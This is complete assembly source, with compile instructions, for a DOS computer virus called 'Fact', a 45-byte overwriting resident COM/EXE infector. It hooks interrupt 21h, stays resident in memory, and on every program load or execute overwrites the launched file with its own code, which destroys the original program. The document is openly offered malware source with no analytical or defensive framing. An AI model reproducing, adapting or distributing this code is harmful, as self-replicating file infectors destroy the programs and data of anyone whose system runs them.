
				  Fact

  Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at
  load and/or execute program by overwriting the infected file.

  Compile Fact with Turbo Assembler v 4.0 by typing:
    TASM /M FACT.ASM
    TLINK /t /x FACT.OBJ
*

.model tiny
.code
 org   100h

code_begin:
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     word ptr [int21_addr],bx
	     mov     word ptr [Int21_addr+02h],es

	     mov     ah,25h		 ; Set interrupt vector 21h
	     lea     dx,int21_virus	 ; DX = offset of int21_virus
	     int     21h

	     xchg    ax,dx		 ; DX = number of bytes to keep res...
	     int     27h		 ; Terminate and stay resident!

int21_virus  proc    near		 ; Interrupt 21h of Fact
	     cmp     ah,4bh		 ; Load and/or execute program?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     mov     ax,3d01h		 ; Open file (write)
	     int     21h
	     xchg    ax,bx		 ; BX = file handle

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end-code_begin)
	     lea     dx,code_begin	 ; DX = offset of code_begin
int21_exit:
	     db      0eah		 ; JMP imm32 (opcode 0eah)
code_end:
int21_addr   dd      ?			 ; Address of interrupt 21h
virus_name   db      '[Fact]'            ; Name of the virus
	     endp

end	     code_begin
